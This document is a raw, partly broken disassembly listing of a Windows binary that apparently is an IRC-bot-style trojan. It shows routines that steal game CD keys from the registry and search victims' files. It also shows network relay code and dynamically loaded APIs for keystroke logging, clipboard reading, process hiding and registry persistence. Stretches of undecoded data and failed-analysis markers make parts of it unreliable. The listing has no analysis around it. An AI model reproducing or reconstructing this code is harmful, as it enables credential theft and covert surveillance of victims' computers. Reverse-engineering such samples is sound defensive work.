		mov	edi, 1000h


loc_407FA4:				; CODE XREF: seg000:00407FE9j
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	ds:dword_43F528[esi]
		call	ds:dword_43A3A0
		test	eax, eax
		jle	short loc_407FEB
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	ds:dword_43F524[esi]
		call	ds:dword_43A3D8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407FA4


loc_407FEB:				; CODE XREF: seg000:00407FCEj
		push	ds:dword_43F528[esi]
		call	ds:dword_43A420
		push	dword ptr [ebp-14h]
		call	sub_4152B1
		pop	ecx
		push	0
; ---------------------------------------------------------------------------
		dw 0F9E8h
		dd 5300677Fh
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi


loc_40800A:				; DATA XREF: seg000:00412702o
		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp-0D4h]
		push	2Ch
		mov	[ebp-4], ebx
		pop	ecx
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		mov	[eax+0A8h], edi
		push	ebx
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-40h]
		call	ds:dword_43A388
		push	6
		push	edi
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		call	ds:dword_43A408
		mov	edi, eax
		mov	eax, [ebp-3Ch]
		imul	eax, 234h
		push	ebx
		mov	ds:dword_43F524[eax], edi
		lea	eax, [ebp-14h]
		push	eax
		push	edi
		call	ds:dword_43A3B4
		test	eax, eax
		jnz	loc_4081AC
		push	0Ah
		push	edi
		call	ds:dword_43A3B0
		test	eax, eax
		jnz	loc_4081AC
		push	dword ptr [ebp-40h]
		push	dword ptr [ebp-0D4h]
		call	sub_40A171
		pop	ecx
		push	eax
		lea	eax, [ebp-2D4h]
		push	offset dword_427D44
		push	eax
		call	sub_4154E9
		add	esp, 10h
		cmp	[ebp-30h], esi
		jnz	short loc_4080E5
		push	esi
		lea	eax, [ebp-2D4h]
		push	dword ptr [ebp-34h]
		push	eax
		lea	eax, [ebp-0D0h]
		push	eax
		push	dword ptr [ebp-0D4h]
		call	sub_412D4E
		add	esp, 14h


loc_4080E5:				; CODE XREF: seg000:004080C3j
					; seg000:0040817Cj ...
		lea	eax, [ebp-2D4h]
		push	eax
		call	sub_40B16D
		pop	ecx
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-24h]
		push	eax
		push	edi
		call	ds:dword_43A41C
		push	dword ptr [ebp-3Ch]
		mov	ebx, eax
		movzx	eax, word ptr [ebp-22h]
		push	eax
		mov	[ebp-28h], esi
		push	dword ptr [ebp-20h]
		call	ds:dword_43A414
		push	eax
		lea	eax, [ebp-2D4h]
		push	offset unk_427CEC
		push	eax
		call	sub_4154E9
		push	ebx
		lea	eax, [ebp-2D4h]
		push	11h
		push	eax
		call	sub_414F95
		mov	[ebp-38h], eax
		imul	eax, 234h
		mov	ecx, [ebp-3Ch]
		add	esp, 20h
		mov	ds:dword_43F51C[eax], ecx
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-0D4h]
		push	esi
		push	eax
		push	offset loc_40820F
		push	esi
		push	esi
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-38h]
		imul	ecx, 234h
		cmp	eax, esi
		mov	ds:dword_43F52C[ecx], eax
		jz	short loc_40818C


loc_408179:				; CODE XREF: seg000:0040818Aj
		cmp	[ebp-28h], esi
		jnz	loc_4080E5
		push	5
		call	ds:dword_421060	; Sleep
		jmp	short loc_408179
; ---------------------------------------------------------------------------


loc_40818C:				; CODE XREF: seg000:00408177j
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-2D4h]
		push	offset unk_427CA0
		push	eax
		call	sub_4154E9
		add	esp, 0Ch
		jmp	loc_4080E5
; ---------------------------------------------------------------------------


loc_4081AC:				; CODE XREF: seg000:00408085j
					; seg000:00408096j
		push	edi
		call	ds:dword_43A420
		push	dword ptr [ebp-40h]
		lea	eax, [ebp-2D4h]
		push	offset unk_427C5C
		push	eax
		call	sub_4154E9
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4081EF
		push	esi
		lea	eax, [ebp-2D4h]
		push	dword ptr [ebp-34h]
		push	eax
		lea	eax, [ebp-0D0h]
		push	eax
		push	dword ptr [ebp-0D4h]
		call	sub_412D4E
		add	esp, 14h


loc_4081EF:				; CODE XREF: seg000:004081CDj
		lea	eax, [ebp-2D4h]
		push	eax
		call	sub_40B16D
		push	dword ptr [ebp-3Ch]
		call	sub_4152B1
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0A80000h
		xchg	eax, esi
		pop	edi
		pop	esi
		pop	ebx


loc_40820F:				; DATA XREF: seg000:00408159o
		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-0C8h]
		rep movsd
		mov	esi, [ebp-2Ch]
		push	1
		mov	[ebp+8], esi
		imul	esi, 234h
		pop	edi
		lea	esi, dword_43F524[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	dword ptr [ebp-8], 5
		mov	[ebp-5D0h], eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		lea	eax, [ebp-5D4h]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp-4], ebx
		mov	[ebp-5D4h], edi
		call	ds:dword_43A370
		test	eax, eax
		jnz	short near ptr loc_40828F+1
		push	dword ptr [esi]
		call	ds:dword_43A420
		push	dword ptr [ebp+8]
		call	sub_4152B1
		pop	ecx
		push	ebx
		call	near ptr 0A80000h


loc_40828F:				; CODE XREF: seg000:00408276j
		add	eax, 30858D53h
		sti
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	68h
		dd 408h, 0FF36FF50h, 43A3A015h,	7FC08500h, 0FF36FF18h
		dd 43A42015h, 875FF00h,	0CFF8E8h, 0E8535900h, 677D40h
		dd 30BD8058h, 4FFFFFBh,	1ED850Fh, 0BD800000h, 0FFFFFB31h
		dd 0E0850F01h, 38000001h, 7774BC5Dh, 50BC458Dh,	0FB38858Dh
		dd 0E850FFFFh, 0D620h, 59C08559h, 458D6174h, 858D50BCh
		dd 0FFFFFB38h, 7E246850h, 0D6E80042h, 6800002Eh, 400h
		dd 0FB38858Dh, 5053FFFFh, 0FB309D88h, 85C6FFFFh, 0FFFFFB31h
		dd 0D246E85Dh, 0C4830000h, 30858D18h, 53FFFFFBh, 0FF50086Ah
		dd 0D815FF36h, 0FF0043A3h, 2015FF36h, 0FF0043A4h, 62E80875h
		dd 590000CFh, 7CAAE853h, 6A420067h, 0E8458D10h,	0DE85053h
		dd 660000D2h, 0FB32858Bh, 0C483FFFFh, 4589660Ch, 34858BEAh
		dd 6AFFFFFBh, 26A5706h,	0E845C766h, 45890002h, 815FFECh
		dd 8B0043A4h, 0FFFF83F8h, 15FF5D75h, 43A31Ch, 7DD46850h
		dd 3EE80042h, 6800002Eh, 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h
		dd 85C6FFFFh, 0FFFFFB31h, 0D1AEE85Bh, 0C4830000h, 30858D14h
		dd 53FFFFFBh, 0FF50086Ah, 0D815FF36h, 0FF0043A3h, 2015FF36h
		dd 0FF0043A4h, 0CAE80875h, 590000CEh, 7C12E853h, 8D650067h
		dd 106AE845h, 15FF5750h, 43A330h, 75FFF883h, 1C15FF5Dh
		dd 500043A3h, 427D8068h, 2DCFE800h, 680000h, 8D000004h
		dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh
		dd 0D13FE8h, 14C48300h,	0FB30858Dh, 6A53FFFFh, 36FF5008h
		dd 0A3D815FFh, 36FF0043h, 0A42015FFh, 75FF0043h, 0CE5BE808h
		dd 53590000h, 677BA3E8h, 681F00h, 8D000004h, 0FFFB3885h
		dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5AFFFFFBh,	0D0F3E8h
		dd 0CC48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h,	0A3D815FFh
		dd 36FF0043h, 39E857h, 59590000h, 2015FF57h, 0FF0043A4h
		dd 2015FF36h, 0FF0043A4h, 0FEE80875h, 590000CDh, 7B46E853h
		dd 0FF3F0067h, 2015FF36h, 0FF0043A4h, 0E6E80875h, 590000CDh
		dd 7B2EE853h
		db 67h,	0, 44h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4084E9:				; CODE XREF: seg000:00408598j
					; seg000:004085C8j
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]


loc_408501:				; CODE XREF: seg000:0040850Fj
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_408511
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_408501


loc_408511:				; CODE XREF: seg000:00408506j
		cmp	ecx, 1
		jnz	short loc_408526
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2


loc_408526:				; CODE XREF: seg000:00408514j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	ds:dword_43A370
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	ds:dword_43A280
		test	eax, eax
		jz	short loc_408586
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_43A3A0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085CE
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_43A3D8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085CE


loc_408586:				; CODE XREF: seg000:00408558j
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_43A280
		test	eax, eax
		jz	loc_4084E9
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_43A3A0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085CE
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	ds:dword_43A3D8
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4084E9


loc_4085CE:				; CODE XREF: seg000:0040856Dj
					; seg000:00408584j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4085D3	proc near		; CODE XREF: seg000:00412107p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	ds:off_427E7C, ebx
		mov	[ebp+var_C], 80h
		jz	loc_408785
		push	esi
		push	edi
		mov	eax, offset off_427E7C
		mov	esi, offset dword_427E88
		mov	edi, offset aSCdKeyS_ ;	"%s CD Key: (%s)."


loc_408603:				; CODE XREF: sub_4085D3+1AAj
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	ds:dword_43A3F8
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	ds:dword_43A294
		test	eax, eax
		jnz	loc_40876B
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_40872F
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_4154E9
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_415BE8
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_40876B
		push	eax


loc_40867C:				; CODE XREF: sub_4085D3+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41713C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_408724
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_415AC0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4086A9
		push	[ebp+var_8]
		jmp	short loc_40867C
; ---------------------------------------------------------------------------


loc_4086A9:				; CODE XREF: sub_4085D3+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_417080
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4086E8
		lea	eax, [ebp+var_70]
		push	offset asc_429080 ; "="
		push	eax
		call	sub_416C98
		push	offset asc_429080 ; "="
		push	ebx
		call	sub_416C98
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4154E9
		add	esp, 20h
		jmp	short loc_4086FF
; ---------------------------------------------------------------------------


loc_4086E8:				; CODE XREF: sub_4085D3+E4j
		lea	eax, [ebp+var_70]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4154E9
		add	esp, 10h


loc_4086FF:				; CODE XREF: sub_4085D3+113j
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4E
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40B16D
		add	esp, 18h


loc_408724:				; CODE XREF: sub_4085D3+B9j
		push	[ebp+var_8]
		call	sub_415B40
		pop	ecx
		jmp	short loc_40876B
; ---------------------------------------------------------------------------


loc_40872F:				; CODE XREF: sub_4085D3+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4154E9
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4E
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40B16D
		add	esp, 28h


loc_40876B:				; CODE XREF: sub_4085D3+60j
					; sub_4085D3+A2j ...
		push	[ebp+var_4]
		call	ds:dword_43A364
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_408603
		pop	edi
		pop	esi


loc_408785:				; CODE XREF: sub_4085D3+19j
		pop	ebx
		leave
		retn
sub_4085D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408788	proc near		; DATA XREF: seg000:00410A74o

var_49C		= byte ptr -49Ch
var_29C		= dword	ptr -29Ch
var_298		= byte ptr -298h
var_218		= byte ptr -218h
var_115		= byte ptr -115h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0A7h
		mov	esi, eax
		lea	edi, [ebp+var_29C]
		rep movsd
		mov	dword ptr [eax+298h], 1
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_415CF0
		xor	ebx, ebx
		cmp	[ebp+eax+var_115], 5Ch
		pop	ecx
		jnz	short loc_4087DD
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_415CF0
		pop	ecx
		mov	[ebp+eax+var_115], bl


loc_4087DD:				; CODE XREF: sub_408788+3Fj
		lea	eax, [ebp+var_218]
		push	eax
		push	offset unk_4290D8
		lea	eax, [ebp+var_49C]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 10h
		cmp	[ebp+var_8], ebx
		jnz	short loc_408822
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_412D4E
		add	esp, 14h


loc_408822:				; CODE XREF: sub_408788+78j
		lea	eax, [ebp+var_114]
		push	ebx
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_29C]
		call	sub_4088A0
		push	eax
		lea	eax, [ebp+var_49C]
		push	offset unk_4290A4
		push	eax
		call	sub_4154E9
		add	esp, 24h
		cmp	[ebp+var_8], ebx
		jnz	short loc_408880
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_412D4E
		add	esp, 14h


loc_408880:				; CODE XREF: sub_408788+D6j
		lea	eax, [ebp+var_49C]
		push	eax
		call	sub_40B16D
		push	[ebp+var_10]
		call	sub_4152B1
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 0A80000h
		pop	ds
		pop	edi
		pop	esi
		pop	ebx
sub_408788	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4088A0	proc near		; CODE XREF: sub_408788+B9p
					; sub_4088A0+9Ep

var_54C		= byte ptr -54Ch
var_34C		= byte ptr -34Ch
var_248		= byte ptr -248h
var_144		= byte ptr -144h
var_118		= byte ptr -118h
var_117		= byte ptr -117h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 104h
		push	[ebp+arg_10]
		lea	eax, [ebp+var_248]
		push	offset aS_3	; "%s\\*"
		push	esi
		push	eax
		call	sub_415A6A
		mov	edi, ds:dword_4210A8
		add	esp, 10h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi ; dword_4210A8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		mov	ebx, offset aSS_3 ; "%s\\%s"
		jz	short loc_40895D


loc_4088EC:				; CODE XREF: sub_4088A0+BBj
		test	[ebp+var_144], 10h
		jz	short loc_408949
		cmp	[ebp+var_118], 2Eh
		jnz	short loc_408910
		cmp	[ebp+var_117], 0
		jz	short loc_408949
		cmp	[ebp+var_117], 2Eh
		jz	short loc_408949


loc_408910:				; CODE XREF: sub_4088A0+5Cj
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_34C]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_415A6A
		push	[ebp+arg_14]
		lea	eax, [ebp+var_34C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4088A0
		add	esp, 2Ch
		mov	[ebp+arg_14], eax


loc_408949:				; CODE XREF: sub_4088A0+53j
					; sub_4088A0+65j ...
		lea	eax, [ebp+var_144]
		push	eax
		push	[ebp+var_4]
		call	ds:dword_4210A4	; FindNextFileA
		test	eax, eax
		jnz	short loc_4088EC


loc_40895D:				; CODE XREF: sub_4088A0+4Aj
		push	[ebp+var_4]
		call	near ptr 0A80000h
		test	bh, bh
		jnz	short loc_40897D
		lea	eax, [ebp+var_248]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 14h


loc_40897D:				; CODE XREF: sub_4088A0+C7j
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi ; dword_4210A8
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4089E3


loc_408994:				; CODE XREF: sub_4088A0+141j
		lea	eax, [ebp+var_118]
		inc	[ebp+arg_14]
		push	eax
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_10]
		push	offset aFoundSS	; " Found: %s\\%s"
		push	200h
		push	eax
		call	sub_415A6A
		push	1
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 28h
		lea	eax, [ebp+var_144]
		push	eax
		push	esi
		call	ds:dword_4210A4	; FindNextFileA
		test	eax, eax
		jnz	short loc_408994


loc_4089E3:				; CODE XREF: sub_4088A0+F2j
		push	esi
		call	near ptr 0A80000h
		bound	ecx, [ebx+5E5F1C45h]
		pop	ebx
		leave
		retn
sub_4088A0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4089F2	proc near		; CODE XREF: sub_40C682+55p
		push	ebx
		push	ebp
		mov	ebp, ds:dword_4210C8
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp ; dword_4210C8
		mov	esi, ds:dword_4210C4
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_408B12
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi ; dword_4210C4
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	ds:dword_43A434, eax
		call	esi ; dword_4210C4
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	ds:dword_43A3A8, eax
		call	esi ; dword_4210C4
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	ds:dword_43A38C, eax
		call	esi ; dword_4210C4
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	ds:dword_43A2A8, eax
		call	esi ; dword_4210C4
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	ds:dword_43A254, eax
		call	esi ; dword_4210C4
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	ds:dword_43A284, eax
		call	esi ; dword_4210C4
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	ds:dword_43A2F8, eax
		call	esi ; dword_4210C4
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	ds:dword_43A3E8, eax
		call	esi ; dword_4210C4
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	ds:dword_43A444, eax
		call	esi ; dword_4210C4
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	ds:dword_43A2B4, eax
		call	esi ; dword_4210C4
		cmp	ds:dword_43A434, ebx
		mov	ds:dword_43A29C, eax
		jz	short loc_408AF0
		cmp	ds:dword_43A3A8, ebx
		jz	short loc_408AF0
		cmp	ds:dword_43A38C, ebx
		jz	short loc_408AF0
		cmp	ds:dword_43A2A8, ebx
		jz	short loc_408AF0
		cmp	ds:dword_43A284, ebx
		jz	short loc_408AF0
		cmp	ds:dword_43A2F8, ebx
		jz	short loc_408AF0
		cmp	ds:dword_43A3E8, ebx
		jz	short loc_408AF0
		cmp	ds:dword_43A444, ebx
		jz	short loc_408AF0
		cmp	ds:dword_43A2B4, ebx
		jz	short loc_408AF0
		cmp	eax, ebx
		jnz	short loc_408AFA


loc_408AF0:				; CODE XREF: sub_4089F2+B8j
					; sub_4089F2+C0j ...
		mov	ds:dword_43A448, 1


loc_408AFA:				; CODE XREF: sub_4089F2+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi ; dword_4210C4
		cmp	eax, ebx
		mov	ds:dword_43A3C0, eax
		jz	short loc_408B27
		push	1
		push	ebx
		call	eax
		jmp	short loc_408B27
; ---------------------------------------------------------------------------


loc_408B12:				; CODE XREF: sub_4089F2+1Dj
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	ds:dword_43A44C, eax
		mov	ds:dword_43A448, 1


loc_408B27:				; CODE XREF: sub_4089F2+117j
					; sub_4089F2+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	ds:dword_4210C0	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_408C3C
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi ; dword_4210C4
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	ds:dword_43A3E4, eax
		call	esi ; dword_4210C4
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	ds:dword_43A394, eax
		call	esi ; dword_4210C4
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	ds:dword_43A328, eax
		call	esi ; dword_4210C4
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	ds:dword_43A438, eax
		call	esi ; dword_4210C4
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	ds:dword_43A358, eax
		call	esi ; dword_4210C4
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	ds:dword_43A378, eax
		call	esi ; dword_4210C4
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	ds:dword_43A3DC, eax
		call	esi ; dword_4210C4
		cmp	ds:dword_43A3E4, ebx
		mov	ds:dword_43A2D0, eax
		jz	short loc_408BE0
		cmp	ds:dword_43A394, ebx
		jz	short loc_408BE0
		cmp	ds:dword_43A328, ebx
		jz	short loc_408BE0
		cmp	ds:dword_43A438, ebx
		jz	short loc_408BE0
		cmp	ds:dword_43A358, ebx
		jz	short loc_408BE0
		cmp	ds:dword_43A378, ebx
		jz	short loc_408BE0
		cmp	ds:dword_43A3DC, ebx
		jz	short loc_408BE0
		cmp	eax, ebx
		jnz	short loc_408BEA


loc_408BE0:				; CODE XREF: sub_4089F2+1B8j
					; sub_4089F2+1C0j ...
		mov	ds:dword_43A450, 1


loc_408BEA:				; CODE XREF: sub_4089F2+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi ; dword_4210C4
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	ds:dword_43A354, eax
		call	esi ; dword_4210C4
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	ds:dword_43A268, eax
		call	esi ; dword_4210C4
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	ds:dword_43A324, eax
		call	esi ; dword_4210C4
		cmp	ds:dword_43A354, ebx
		mov	ds:dword_43A310, eax
		jz	short loc_408C47
		cmp	ds:dword_43A268, ebx
		jz	short loc_408C47
		cmp	ds:dword_43A324, ebx
		jz	short loc_408C47
		cmp	eax, ebx
		jnz	short loc_408C51
		jmp	short loc_408C47
; ---------------------------------------------------------------------------


loc_408C3C:				; CODE XREF: sub_4089F2+144j
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	ds:dword_43A454, eax


loc_408C47:				; CODE XREF: sub_4089F2+232j
					; sub_4089F2+23Aj ...
		mov	ds:dword_43A450, 1


loc_408C51:				; CODE XREF: sub_4089F2+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp ; dword_4210C8
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_408DEC
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi ; dword_4210C4
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	ds:dword_43A3F8, eax
		call	esi ; dword_4210C4
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	ds:dword_43A33C, eax
		call	esi ; dword_4210C4
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	ds:dword_43A3AC, eax
		call	esi ; dword_4210C4
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	ds:dword_43A294, eax
		call	esi ; dword_4210C4
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	ds:dword_43A2F4, eax
		call	esi ; dword_4210C4
		cmp	ds:dword_43A3F8, ebx
		mov	ds:dword_43A364, eax
		jz	short loc_408CDC
		cmp	ds:dword_43A33C, ebx
		jz	short loc_408CDC
		cmp	ds:dword_43A3AC, ebx
		jz	short loc_408CDC
		cmp	ds:dword_43A294, ebx
		jz	short loc_408CDC
		cmp	ds:dword_43A2F4, ebx
		jz	short loc_408CDC
		cmp	eax, ebx
		jnz	short loc_408CE6


loc_408CDC:				; CODE XREF: sub_4089F2+2C4j
					; sub_4089F2+2CCj ...
		mov	ds:dword_43A458, 1


loc_408CE6:				; CODE XREF: sub_4089F2+2E8j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi ; dword_4210C4
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	ds:dword_43A36C, eax
		call	esi ; dword_4210C4
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	ds:dword_43A344, eax
		call	esi ; dword_4210C4
		cmp	ds:dword_43A36C, ebx
		mov	ds:dword_43A3F4, eax
		jz	short loc_408D21
		cmp	ds:dword_43A344, ebx
		jz	short loc_408D21
		cmp	eax, ebx
		jnz	short loc_408D2B


loc_408D21:				; CODE XREF: sub_4089F2+321j
